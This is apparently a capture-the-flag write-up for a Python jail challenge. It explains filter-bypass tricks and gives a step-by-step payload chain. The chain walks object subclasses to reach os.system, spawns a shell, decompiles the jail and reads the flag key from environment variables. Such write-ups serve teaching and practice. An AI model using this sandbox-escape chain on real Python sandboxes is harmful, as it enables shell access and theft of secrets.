Tags: pyjail

Rating: 0

# hell_of_a_jail

We are in a Python jail, which tells us we need to call exit() with
a parameter to escape. After trying a few things, we run into several
restrictions:

* commands longer than 12 characters are truncated,
* . characters are filtered out,
* __ are filtered out (but not _),
* we cannot use ", and
* almost no functions we try work and we cannot import anything.

The underscore and period filtering are applied in the wrong order, so
we can bypass the underscore check and read __builtins__ by running:


>>> _._builtins_._
{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}


Now we know that we have getattr available, which lets us avoid
using . to access attributes. We can start from a simple tuple
object (()), climb up the hierarchy to get to the object class and
see which subclasses we can work with here. To avoid the 12-character
limit, we will alias everything to single-character names and use
variables to store long string parameters:


e=exit
p=print
u='_._'
c=u+'class'+u
b=u+'base'+u
s=u+'subcla'
s=s+'sses'+u
t=g((),c) # ().__class__
o=g(t,b) # ... .__base__
x=g(o,s) # ... .__subclasses__


Now, if we print x(), we will see a list of classes we can reach.
One interesting option is os._wrap_close, which will let us access
the os module to get to system. It is at index 127, so:


w=x()[127] # os._wrap_close
i=u+'init'+u
l=u+'glob'
l=l+'als'+u
z=g(w,i) # ... .__init__
a=g(z,l) # ... .__globals__
s=a['system'] # ... ['system']


Now all that remains is to call s('sh') to get a shell. This lets us
read the compiled jail shell jail.pyc, which we can decompile using
uncompyle6 and read the exit() check:


def exit(arg):
"""Must invoke with the right arg in order to get the flag."""
if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
print('Oh no ! You managed to escape\nValidate with the key')
return sys.exit(0)
print('Wrong key')


All that remains is to read the key from the environment variable.
Since we already have a shell available, we can just run env and get
the flag.